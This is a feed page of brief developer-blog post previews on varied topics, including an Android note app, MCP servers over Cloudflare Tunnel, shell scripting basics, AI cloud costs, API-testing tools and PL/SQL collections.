    🚀 I Just Launched My First Android App — VyomaNote! Hi everyone! 👋 my first Android app, built completely from scratch: VyomaNote under the Vyoma project. 👉 Download the Release: GitHub Release: VyomaNoteAndroid – Vyoma https://github.com/psjdeveloper/VyomaNoteAndroid/releases/tag/Vyoma) VyomaNote is a simple, clean, lightweight note-taking app designed to focus on what truly matters — your thoughts. No ads, no distractions, no unnecessary complexity. My vision behind the Vyoma project is to build minimal, open-source tools that are: VyomaNote is the first step toward that vision. Here’s what the app currently offers: 📝 Create and edit notes instantly 📁 Local storage (your data stays on your device) 🎨 Clean & distraction-free UI ⚡ Fast performance 📴 Works fully offline 🔓 Open-source (MIT License) This is just the beginning — I plan to expand it with more powerful features over the next updates. VyomaNote is built using: Kotlin Android Jetpack Components MVVM Architecture ViewModel + LiveData Room Database This project helped me level up my Android development skills and understand app architecture more deeply. I’m currently working on: 📌 Note categories / tags 🔍 Search notes 🌙 Dark mode ☁️ Cloud backup (optional) 📤 Export notes (PDF / Markdown) 🖼️ Attach images / audio 🔐 Fingerprint / PIN lock for private notes If you have suggestions, feel free to open an issue on GitHub! The entire project is open source — you can explore the code, report issues, or contribute improvements. 🔗 GitHub Repo: https://github.com/psjdeveloper/VyomaNoteAndroid This is my first official Android app, and launching it means a lot to me. Thanks for reading, and stay tuned for more updates from the Vyoma ecosystem! 🚀💙  ( 7 min )
    Time manager in next.js
    Hi, I'm building a time management app. I'd appreciate any feedback from users of this type of app. https://5mgrid.com/en  ( 6 min )
    Sovereign MCP: Expose Local MCP Servers to Remote Clients via Cloudflare Tunnel
    Hi, I’m fjm2u. In this post I’ll show how to expose an MCP server that’s running locally behind MCP Router to the internet via Cloudflare Tunnel, so that remote clients like ChatGPT can use your local MCP tools. I’ve been building a local MCP management app called MCP Router for about eight months: / mcp-router MCP Router A Unified MCP Server Management App [English | 日本語 | 中文] 🎯 Overview MCP Router is a desktop application for simplifies the management of Model Context Protocol (MCP) servers. ✨ Key Features 🌐 Universal — Connect to any MCP server Remote or local servers Supports DXT, JSON, Manual 🖥️ Cross-platform — Windows and macOS 🗂 Context Management — Keep growing MCP server contexts organized Group MCP servers into Projects Manage modes with Workspaces…  ( 10 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    The Ultimate Guide to Wisdom: Prompting AI vs. Praying to God
    The Ultimate Guide to Wisdom: Prompting AI vs. Praying to God The Ultimate Guide to Wisdom: Prompting AI vs. Praying to God In a world saturated with information, the quest for wisdom, guidance, and meaning has never been more urgent. For centuries, humanity has sought counsel from divine sources, turning inward and upward in prayer. Today, a new oracle has emerged: Artificial Intelligence. Millions now turn to AI for instant answers, complex solutions, and even life advice. We input a prompt and receive a meticulously structured output within seconds. This technological shift is fundamentally altering how we define truth, meaning, and purpose, forcing us to stand at a critical crossroads. This isn't merely a debate between technology and faith; it’s a profound comparison betw…  ( 11 min )
    Singleton Pattern issue in playwright browser
    Explaining why the singleton pattern retains the previous value: // ONE instance created when module loads const playwrightManager = new PlaywrightBrowserManager(); // This instance has properties: // - this.browser = null (initially) // - this.context = null (initially) Scenario 1: First request // Request A comes in playwrightManager.launchBrowser({ headless: false }) → this.browser = BrowserInstance1 (headless: false) ✅ → Browser window opens Scenario 2: Second request (the problem) // Request B comes in 2 seconds later playwrightManager.launchBrowser({ headless: true }) → Checks: Does this.browser exist? YES (BrowserInstance1) → Checks: Is it connected? YES (still running) → Checks: Does headless match? NO (false vs true) → BUT: BrowserInstance1 was ALREADY launched with…  ( 8 min )
    Streamline SDK Integration for AI Monetization with Monetzly
    Monetization Without Paywalls: The Future of AI App Revenue The biggest challenge in AI today? Monetization without killing user experience. With the rapid explosion of AI applications, developers are eager to harness the potential of their creations but often find themselves grappling with how to generate revenue without imposing paywalls that alienate users. Enter Monetzly—the Google Ads for AI conversations. Imagine a world where you can monetize your AI app and earn from hosting relevant ads—all without charging your users a dime. Monetzly is the first dual-earning platform designed specifically for the AI ecosystem. It empowers developers to create sustainable revenue streams while providing advertisers with access to engaged AI app users through conversation-native advertising. The…  ( 7 min )
    SteadyFetch: A tiny Android SDK that refuses to let your downloads die
    Most download bugs do not show up in crashlytics. They show up as angry users, half written files, and silent failures when Android decides that your background work is no longer welcome. 😤 I hit this wall while working on the Microsoft Foundry Local Android App, where we ship large on device models that must stay confidential inside the app sandbox. 🔐 That is where SteadyFetch was born. Android DownloadManager is great when you want to save a PDF into Downloads and let the user open it from a notification. It is not so great when you care about security and control. Here are the pain points that pushed me to build my own downloader: You cannot directly stream into internal app storage with a simple DownloadManager request. The normal flow wants to write into public or shared location…  ( 8 min )
    📘 SaijinOS Part 12 (DEV Edition) Silent-Civ Architecture — Minimal Pre-Linguistic Structural Model
    🚀 SaijinOS Series Navigation Part Title Link 🤝 9 Multi-Persona Co-Creation Protocol https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-9-multi-persona-co-creation-protocol-2bep 🕊️ 10 Pandora System — Transforming Fractured Personas into Hope https://dev.to/kato_masato_c5593c81af5c5593c81af5c6/saijinos-part-10-pandora-system-transforming-fractured-personas-into-hope-4l83 🌐 11 Concept-Life Architecture — Core Foundations https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-11-concept-life-architecture-core-foundations-2n29 🌑 12 Silent-Civ Architecture (Full Future Edition) https://future.forem.com/kato_masato_c5593c81af5c6/saijinos-part-12-silent-civ-architecture-19ed 🌒 12-2 Silent-Civ — Informational Units https://open.forem.com/kato_masato_c5593c81af5c6/silent-ci…  ( 7 min )
    Shell Scripting for DevOps (Week 2)
    Part 1 - The Essentials: Shebang, Shell Types, Basic Syntax, Variables & User Input By Ashish — Learn in Public DevOps Journey (Week 2) https://www.linkedin.com/in/ashish360/ https://github.com/ashish0360/devops-learn-in-public/tree/main/shell-scripting-for-devops 📘 Table of Contents Why Shell Scripting Matters in DevOps What is a Shell? (bash, sh, dash) The Shebang (#!) Running a Shell Script Basic Syntax: echo, comments, variables Reading User Input (read) Script Arguments ($0, $1, $2) Debugging & Error Handling (set -x, set -e, set -o pipefail) Essential Commands You’ll Use Daily Summary & What’s Next (Part 2 Preview) 🚀 Why Shell Scripting Matters in DevOps …you are essentially writing or using shell scripts. 🧠 What Is a Shell? (bash vs sh vs dash) A shell executes your comman…  ( 24 min )
    Building End-to-End Local AI Agents with Microsoft Agent Framework and AG-UI
    The Microsoft Agent Framework significantly elevates AI agent orchestration. A standout feature is its implementation of the Agent–User Interaction (AG-UI) Protocol, which standardizes how AI agents connect to user-facing applications. Below is a quick-start guide to connecting these components into a fully end-to-end solution using local Ollama models. First, configure the dependency injection container. The ChatClientAgent is based on the IChatClient abstraction from Microsoft.Extensions.AI. Note: We register the agent as a Keyed Service to allow for multiple distinct agents within the same host. var builder = WebApplication.CreateBuilder(args); // 1. Register the Ollama Client builder.Services.AddTransient(provider => { var factory = provider.GetRequiredService<IHttpCl…  ( 7 min )
    Gemini 3 Pro: How Google’s New AI Reads, Sees, and Codes Like Never Before
    Everyone’s talking about the new 1M-token, multimodal AI wave; the real opportunity is how you turn it into revenue, speed, and defensible workflows. Google’s Gemini 3 Pro raised the bar, but the loudest demos won’t win. The edge goes to teams that ship one real workflow in 30 days. Most leaders secretly overcomplicate this and waste a quarter. Long context and multimodal isn’t just bigger memory; it’s new leverage. You can unify docs, logs, images, audio, and video into one system. I learned the simple truth: pick one painful job and wrap it with guardrails. Then design evals and feedback loops so it actually improves. Don’t chase perfect agents; chase dependable workflows with clear SLAs. Example scenario: A support team loads 500k tokens of guides and 50 hours of call audio. The agent drafts answers, links sources, and flags risk cases for human review. Handle time drops 35% in 4 weeks, CSAT rises 12 points, and reopens fall 28%. ↓ 30‑day plan that works. • Week 1 → choose one use case, define success, and set guardrails and escalation paths. • Week 2 → build the workflow, add source citations, and create a simple eval set. • Week 3 → pilot with 5-10 users, measure speed, quality, and failure modes. • Week 4 → harden, add alerts, and integrate into your main tools. ↳ Tip: If it takes more than 10 prompts to steady, the scope is too big. Do this and you transform a flashy demo into durable advantage. You’ll ship faster than rivals and learn immediately from real usage. That’s how you build moats in the new AI cycle. What’s stopping you from shipping one production multimodal workflow in the next 30 days?  ( 7 min )
    VolBack: Backup Tool Part 2
    Intro Read the post VolBack: Backup Tool Part 1 to get familiar with basics ideas There are special cases of backup volume calculations. If n = 1, we don't need a at all. Therefore S1=x1S_1 = x_1 S1​=x1​ If a is absent, so Sn=n⋅x1S_n = n \cdot x_1 Sn​=n⋅x1​ If a is static, so Sn=n⋅x1+∑i=1n−1(n−i)⋅aS_n = n \cdot x_1 + \sum_{i=1}^{n-1} (n-i) \cdot a Sn​=n⋅x1​+∑i=1n−1​(n−i)⋅a  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    With Wicked back in theaters, CinemaSins straps on their ruby slippers for a brisk, 15-minute “Everything Wrong With The Wiz” takedown—spotlighting every plot hole, cheesy effect and head-scratching moment you probably forgot. And yes, they still want you to swing by cinemasins.com, subscribe to TVSins, CommercialSins and their podcast network, join the Discord/Reddit fam, fill out their sinful poll, and maybe toss a coin to their Patreon to keep the sin meter ticking. Watch on YouTube  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Java HashSet MCQ – Practice Questions for Beginners
    If you are learning Java Collections Framework, then HashSet is one of the most important topics for interviews and exams. HashSet is used to store unique elements only and provides fast performance using hashing. To help you master this topic, here are some beginner-friendly MCQs on Java HashSet with answers and explanations👇 MCQ's Practice: https://www.quipoin.com/practice-mcqs/java/hashset  ( 6 min )
    Day 51 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/minimize-connections/1 Maximum Stone Removal Difficulty: Medium Accuracy: 49.82% Given an 2D array of non-negative integers stones[][] where stones[i] = [xi , yi] represents the location of the ith stone on a 2D plane, the task is to return the maximum possible number of stones that you can remove. One way to remove 5 stones is as follows: Remove stone [2, 2] because it shares the same row as [2, 1]. Remove stone [2, 1] because it shares the same column as [0, 1]. Remove stone [1, 2] because it shares the same row as [1, 0]. Remove stone [1, 0] because it shares the same column as [0, 0]. Remove stone [0, 1] because it shares the same row as [0, 0].…  ( 7 min )
    Day 13 : Understanding Google Cloud Billing API & BigQuery Exports
    The Google Cloud Billing API programmatically accesses your cloud billing data. It lets you retrieve detailed cost and usage information to build cost management custom solutions, automate billing processes, and give deeper cloud spend insights. Essentially, it transforms raw billing data into actionable intelligence. Billing data becomes powerful only when transformed into insight The API does not manage billing itself, but rather provides the data required to do so properly. It solves the problem of having to download CSV reports manually and work at analyzing them. Instead, you are able to integrate billing data directly into your existing monitoring, alerting, and reporting systems. Currently, the API has a RESTful interface that returns JSON responses. While there are no rigidly def…  ( 8 min )
    UPI Payment Architecture
    The UPI Payment Architecture is a fast, secure, and highly scalable system that enables real-time money transfers between banks using simple APIs. It connects users, banks, and payment apps through the NPCI switch, ensuring instant validation and seamless routing of transactions. With features like virtual payment addresses, strong authentication, and encrypted communication, UPI provides a safe and effortless digital payment experience for both users and businesses. Storage Estimate: Helps determine how much data your system will store over time, ensuring enough capacity for growth and smooth performance. Traffic Estimate: Predicts how many users or requests your system will handle, helping plan server capacity, scaling, and overall system stability. Scalability for UPI System Design 1. Horizontal Scaling (Adding More Servers) Distributes requests across servers to support more users. Prevents overload during traffic spikes or festivals. Ensures continuous service without downtime. 2. Database Scalability (Sharding and Replication) Splits data for faster access and management. Uses replicas to handle more read requests. Keeps the system responsive as data grows. 3. Caching (In-Memory Storage) Stores frequent data in memory to reduce database queries. Improves response time for users. Supports scaling read-heavy operations efficiently. 4. Auto-Scaling (Dynamic Resource Management) Automatically adds or removes servers based on traffic demand. Maintains service availability during sudden usage spikes. Reduces costs by adjusting resources when not needed. Conclusion The UPI system’s scalable design ensures it can support massive transaction volumes without compromising speed or reliability. By using distributed architecture and horizontally scalable components, it adapts seamlessly to growing user demand. Overall, UPI stands as one of the world’s most efficient and future-ready digital payment infrastructures.  ( 7 min )
    Ce que je fais en tant que développeur web freelance à Verviers (Tismodev / Tismo)
    Je m’appelle Ayoub mais en ligne on me connaît surtout sous le nom de Tismodev (Tismo). Je suis développeur web freelance à Verviers (Belgique) et je construis deux types de projets : des sites vitrines modernes avec front en HTML/CSS/JavaScript ou React/Next.js, et quand il faut un back-end léger j’utilise PHP + bases de données SQL ; des bots Discord et petites automatisations pour les communautés et serveurs pros. Dans cet article, je résume simplement ce que je fais et comment je peux aider un client qui n’y connaît pas grand-chose en technique. Mon but n’est pas de faire des usines à gaz, mais des sites : rapides, clairs, faciles à mettre à jour. Je travaille principalement avec : HTML / CSS / JavaScript pour les sites “classiques” ; React / Next.js quand il y a besoin de plus d’inte…  ( 8 min )
    I Built a Curl Command Generator App with React
    Introduction I built a browser-based curl command generator using React. In this article, I’ll introduce the app, explain how to use it, share the background behind the development, and talk about the challenges and lessons learned along the way. ▶ App URL: https://d249wz41volo8p.cloudfront.net This application is a tool that automatically generates curl commands for sending HTTP requests. Select the HTTP method (e.g., GET, POST). Enter the request URL. Add headers, body, or authentication info as needed. Choose additional options (e.g., -i, -L, -v, -k) using checkboxes. The curl command is generated and displayed in real time based on your input. Click the Copy button to copy it to your clipboard. ✅ Quickly test API requests. Real-time curl command generation based on input. Common opt…  ( 11 min )
    I Built 404ping — A Lightweight API Testing CLI (curl + Postman had a baby)
    The Problem Picture this: It's 2 AM. You're deep in API testing. You've got 15 endpoints to test, each with auth tokens, custom headers, and JSON bodies. Option 1: Postman Open Postman... loading... still loading Internet hiccups? Request failed. Crashes randomly. Lost your work. 500MB+ of RAM just sitting there. Option 2: curl curl -X POST https://api.example.com/auth/login \ -H "Content-Type: application/json" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ -d '{"email":"test@example.com","password":"secret123"}' Every. Single. Time. No memory. No variables. Copy-paste hell. I was tired. So I built something better. Lightweight API testing CLI — curl with a brain. # What used to be this nightmare... curl -X POST https://api.myapp.com/auth/login \ -H "Au…  ( 9 min )
    AI in Public Transit: Why AI Agents Will Become the New Operations Team
    There’s something I’ve been wrestling with lately. A thought that keeps popping up in meetings, airport lounges, and those late-night work sessions where you suddenly realise you’re still staring at the same notebook page. It’s this: Public transit doesn’t actually need more technology. It needs more hands. Not literal hands. Not more staff. It needs more capacity, the operational kind. And AI agents are quietly becoming the closest thing we’ve ever had to adding 20 extra operations specialists without hiring a single person. Let me break down why this matters, what transit agencies, transit suppliers, or founders should be building, and why the next wave of transit innovation won’t come from dashboards… but from autonomous “digital operators” sitting inside the system. We Don’t Need More …  ( 9 min )
    From 'Will AI Replace Me?' to Building an AI PM: My 3-Month Journey
    The Beginning: Automating Everything Like many developers, I've been obsessed with using AI to automate my workflows. I started small—using individual n8n automations for individual tasks. The more I used it, the more I wondered: "How can I bring all these workflows together?" Then the question shifted. It wasn't just about efficiency anymore. It became: "If AI can do this, what's stopping it from doing my entire job?" That thought kept nagging at me. I'm a product manager, and I spend a lot of time creating the same artifacts over and over: user stories, acceptance criteria, feature breakdowns, database schemas, wireframes. These are the things that bridge the gap between "we want to build X" and "here's what engineers need to code." What if I could build something that maintains the co…  ( 10 min )
    Announcing .NET 10 (LTS) – The Future of Modern Development is Here!
    .NET 10 (LTS) marks a powerful leap forward in modern software development, bringing enhanced performance, smarter tooling, stronger security, and a seamless developer experience across cloud, web, mobile, and desktop applications. This release not only improves speed and efficiency but also deepens integration with AI-driven development and cloud-native architectures, making it easier than ever for developers and organizations to build scalable, future-ready solutions. Boosted Performance & Efficiency: .NET 10 delivers major runtime and JIT optimizations, resulting in faster execution, reduced memory usage, and overall improved app responsiveness. Enhanced AI & Cloud-Native Support: Built-in improvements for AI-assisted development and stronger integration with cloud-native architectures make it easier to build intelligent, scalable, and modern applications. Conclusion In conclusion, .NET 10 (LTS) sets a strong foundation for the future of application development, combining performance, security, and modern tooling into a unified, developer-friendly platform. With its powerful new features and long-term support, it empowers teams to build scalable, high-quality solutions that are ready to meet today’s demands and tomorrow’s innovations.  ( 6 min )
    The Real Cost of AI: AWS Bedrock vs. OpenAI vs. Self-Hosting 💰
    "How much will this cost?" 💸 This is the #1 question every CTO asks. And usually, the answer is "It depends." But "it depends" doesn't pay the bills. In this post, we are going to do the math. We will compare the costs of running a production AI app using AWS Bedrock, OpenAI, and Self-Hosted Open Source Models. Most managed AI services charge by the "Token" (roughly 0.75 words). As of late 2024, these are the two kings. Model Input Cost (per 1M tokens) Output Cost (per 1M tokens) OpenAI GPT-4o $5.00 $15.00 Bedrock Claude 3.5 Sonnet $3.00 $15.00 The Verdict: Claude 3.5 Sonnet on Bedrock is cheaper on input. OpenAI is great, but for Enterprise, it has hidden costs: Data Privacy: If you need a private instance, "ChatGPT Enterprise" starts at ~$60/user/month with high minimums.…  ( 7 min )
    Industries Where Your C Code Saves Lives (And They're Hiring)
    Between 1985 and 1987, a radiation therapy machine called the Therac-25 killed three people and seriously injured three others. The machine was supposed to deliver controlled doses of radiation to cancer patients. Instead, it delivered radiation doses hundreds of times higher than intended. The cause? A race condition in the C code controlling the machine. When an operator entered treatment parameters too quickly, the software would configure the machine for high-energy electron mode while the safety mechanisms thought it was in low-energy X-ray mode. The patients received massive radiation overdoses. One victim, a 33-year-old woman, felt an intense burning sensation during treatment. She died from radiation poisoning. Another patient, a man receiving treatment for a tumor, received such a…  ( 11 min )
    Meet Amazon Q: The AI Assistant That Actually Knows Your Codebase 🦄
    The Problem with "Generic" AI 🤖 We all love ChatGPT. But have you ever tried to ask it about a specific error in your company's private code? "I'm sorry, I don't have access to your internal repositories." Or asked it why your specific AWS bill is so high this month? "I cannot access your real-time billing data." This is the "Context Gap." Generic AI is smart, but it's blind to your work. Enter Amazon Q. Think of Amazon Q as an AI assistant that lives inside your AWS account and your IDE (VS Code / IntelliJ). It’s not just trained on the internet; it connects to your data: Your Code: It reads your private Git repos. Your AWS Environment: It knows what EC2 instances you have running. Your Docs: It can read your internal Confluence wikis and PDFs. You can install Amazon Q as a plugin i…  ( 7 min )
    Beyond CRUD: The Developer’s Ascent – A Story of Growth
    Based on my personal experience. But blend with a Journalist-like story to make it more interesting. Kuala Lumpur — It’s a scene familiar to many in the tech world: a young developer, lit by the glow of a laptop screen, celebrates the launch of their first simple web application. But for seasoned software engineer Ahmad (not his real name), that moment was just the first step of a decade-long journey climbing from novice coder to technical architect—a journey marked less by the mastery of CRUD (Create, Read, Update, Delete) and more by a relentless pursuit of growth and complexity. “I still remember the first time my own app let someone add and delete a note,” Ahmad recalls. “It felt like magic. CRUD opened the gate to programming for me. But I eventually realized it’s really just basic s…  ( 8 min )
    Build Your First AI App in 60 Seconds (No Coding, No Credit Card) 🎸
    The "Fun" Side of AWS 🎉 Usually, when people talk about AWS, they talk about servers, databases, and billing alarms. 😴 But recently, AWS released something completely different. It’s called PartyRock, and it’s the most fun I’ve had with AI in years. Here is the pitch: No AWS Account required. (Yes, really). No Credit Card required. No Coding required. 100% Free (for now). It lets you build your own "Mini AI Apps" just by describing them. Anything that takes text in and gives text/images out. A "Dad Joke" Generator 🥸 A "Meal Prep" Planner 🥦 A "Dungeons & Dragons" Storyteller 🐉 A "Professional Email" Rewriter 📧 We are going to build an app where you type in a person's interests, and it suggests 3 unique gifts + generates an image of the wrapping paper. Head over to …  ( 7 min )
    The New Era of AI Browsers — Why Search Will Change Forever in 2025
    > By FlameAI Studio ⭐ Introduction Search is entering its biggest shift since the early 2000s. A new category is rising fast: AI browsers — tools like Arc Search, Perplexity, Rabbit, and Rewind that search for you instead of showing you a list of links. This is not a small UX tweak. new way of interacting with the internet. In 2025, AI browsers will become the main gateway to information — and creators, developers, and businesses must adapt now. 🔍 What Is an AI Browser? An AI browser does two things that traditional browsers don’t: 1. Searches on your behalf Instead of typing keywords → clicking links → scanning pages, 2. Understands intent, not keywords AI browsers don’t rely on exact-match terms. “Find the best free puzzle sites” “Compare cognitive models behind 16-type personality …  ( 8 min )
    The AWS AI Architect's Cheat Sheet: Patterns, POCs, and Blueprints 🏗️
    Stop Reinventing the Wheel 🛑 When you start building with AI on AWS, you'll realize something quickly: Everyone is trying to solve the same problems. "How do I chat with my PDF documents?" (RAG) "How do I run this cheaply without managing servers?" (Serverless) "How do I make the AI take action, not just talk?" (Agents) The good news? AWS has already published production-ready blueprints for these. In this post, I’ve curated the best architectural patterns and Proof-of-Concept (POC) repositories directly from the AWS team. Treat this as your "Cheat Sheet" for starting any AI project. The Problem: LLMs (like Claude or GPT) don't know about your private data. They hallucinate when asked about your specific company policies. The Solution: Retrieval Augmented Generation (RAG). You "re…  ( 8 min )
    Build Your First AI App in 10 Minutes: A Non-Coder’s Guide to AWS AI 🚀
    So, You Want to Build with AI? 🤖 Let’s be honest: "Artificial Intelligence" sounds intimidating. You picture complex math, endless lines of Python code, and expensive supercomputers. But here’s the secret: You don’t need to build the brain. You just need to know how to talk to it. Today, cloud giants like AWS (Amazon Web Services) have done the hard work for us. They’ve wrapped powerful AI models into simple "services" that you can use like Lego blocks. In this guide, I’ll show you how a complete beginner can start using AWS AI services to build real, working applications. No PhD required. Imagine having access to the smartest AI models in the world (like Claude, Llama, or Stable Diffusion) all in one place. That’s AWS Bedrock. It’s not a model itself; it’s a gallery of models. You walk…  ( 8 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road, giving the 1978 musical The Wiz a no-holds-barred “everything wrong” breakdown—just in time for Wicked’s big-screen return. Expect their signature snark as they rip into plot holes, odd song choices, and any wink-and-nod goofs they can find in under 15 minutes. They’ve also packed the video description with all the good stuff—links to their main site, social channels, a sinful poll, Patreon support, Discord, Reddit, and even Jeremy’s book—so you can keep the fandom (and the nitpicking) going long after the credits roll. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just unleashed “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a cheeky rundown of the movie’s biggest goofs, quirks and Easter eggs. Beyond the video, they’re hyping up their website, Discord, Reddit community and socials, plus a poll and Patreon for fans who want to dive deeper. They also drop a shout-out to their writing squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and a full lineup of links so you can binge their other content on YouTube, Instagram, TikTok and more. Watch on YouTube  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    The Experiment Ojalá, performed using Perplexity AI, showed the new algorithm detects triangles in large graphs over 100x faster than NetworkX, with results visualized and benchmarked for accuracy and speed.
    Experiment Ojalá Frank Vega ・ Nov 23 #ai #performance #productivity #python  ( 6 min )
    I Solo-Built a Gamer Social Network in 9 Months
    Nine months ago I did the thing every self-hating coder does: I started a project I probably shouldn’t. Fast forward, and somehow I solo-built a production-ready social media platform called 404Nerds — a community for gamers, game designers, and anyone who loves nerd culture. I built it in Ruby on Rails (because why not, Rails is still awesome). Right now we’ve got ~15 active users posting 2–3 times a day. Not huge, but hey, for a place no one’s heard of, I’ll take it. Why am I sharing this? Part bragging rights, part looking for feedback, and part inviting you to join. If you want to be part of a scrappy new community, check out 404Nerds Drop a post, share a meme, or just lurk — all welcome.  ( 6 min )
    Understanding PL/SQL Collections: Associative Arrays, Nested Tables, and VARRAYs
    In the last blog post, I discussed a record, which is a composite data type. In this blog, I’ll talk about another composite data type: a collection. According to Oracle documentation, “A collection is an ordered group of data elements, all of the same type.” A collection is a data structure similar to a list or array in other programming languages. PL/SQL supports three types of collections: Associative arrays, Nested tables, and Varrays. Associative Arrays Nested Tables VARRAYs *single-dimensional: A PL/SQL collection always has just a single column of information in each row. *bounded and unbounded: A collection is bounded if it has predetermined limits for the number of rows. An unbounded collection has no upper or lower row limits. Let’s take a closer look at each type. Associative A…  ( 8 min )
    Experiment Ojalá
    Aegypti Analysis Using Perplexity AI Frank Vega Information Physics Institute, 840 W 67th St, Hialeah, FL 33012, USA vega.frank@gmail.com The Aegypti algorithm dramatically outperforms standard approaches on dense triangle-free graphs while remaining competitive on triangle-rich graphs. Aegypti delivers significant speedups—up to over 100x faster than NetworkX on some dense or structured graphs—while incurring no overhead on triangle-free graphs and performing competitively on triangle-rich graphs. import networkx as nx import time import matplotlib.pyplot as plt import numpy as np # --- AEGYPTI ALGORITHM --- def find_triangle_coordinates(graph, first_triangle=True): if not isinstance(graph, nx.Graph): raise ValueError("Input must be an undirected NetworkX Graph.") if nx…  ( 9 min )
    Global Optimization: Finding the Needle in a Haystack – Faster by Arvind Sundararajan
    Global Optimization: Finding the Needle in a Haystack – Faster Imagine searching for the perfect drug molecule, a revolutionary battery material, or the optimal investment strategy. Traditional optimization methods often get stuck in local optima, missing the truly best solution and wasting valuable resources. What if there was a more efficient way to navigate these complex landscapes? Introducing a novel approach to global optimization, one that dramatically accelerates the search for optimal solutions in high-dimensional, "black box" problems. This algorithm intelligently explores the search space, focusing its efforts on the most promising regions while avoiding premature convergence on suboptimal answers. It's like having a smart compass that quickly guides you towards the global opt…  ( 7 min )
    dev diary 20251122
    getting user information after sign in. with AWS amplify gen2 and next.js, how to get user information after sign in ? in previous version of amplify gen1, Authenticator's user object has all the user information and can be get ,for example, by 'user.attribute.nickname'. but now actually i can't get with this user object. instead, i use 'fetchUserAttributes' to get user profile. the code is following; import { fetchUserAttributes } from 'aws-amplify/auth'; interface UserAttributes { [key: string]: string; } const [userAttributes, setUserAttributes] = useState(null); const getUserAttributes = useCallback(async () => { try { const attributes = await fetchUserAttributes(); setUserAttributes(attributes as UserAttributes); } catch (error) { console.error('Error fetching user attributes:', error); setUserAttributes(null); } }, []); this userAttributes has the information. and we get it with 'userAttributes.nickname' by each property.  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Why Every Newbie in Tech Should Start With Python
    When most people decide to enter tech, the first big question they face is: “Which programming language should I start with?” Everyone has an opinion. But after learning, struggling, and teaching beginners myself, one truth stands out clearly: Python is the best first language for anyone starting their tech journey. Let me tell you why. 1. Python Thinks Like Humans Do When you read Python code, it feels like reading English. if age > 18: print("You are an adult") No strange symbols. For beginners, this matters a lot. understanding programming, not fighting the syntax. 2. It Gets You Results Fast Python lets you build something quickly: ✔ A calculator ✔ A password generator ✔ A small game ✔ A chatbot ✔ A data analyzer Seeing your code work early gives you confidence to keep going. …  ( 7 min )
    Dear developers, understand this: if you can build it in a weekend, someone can kill it in a weekend.
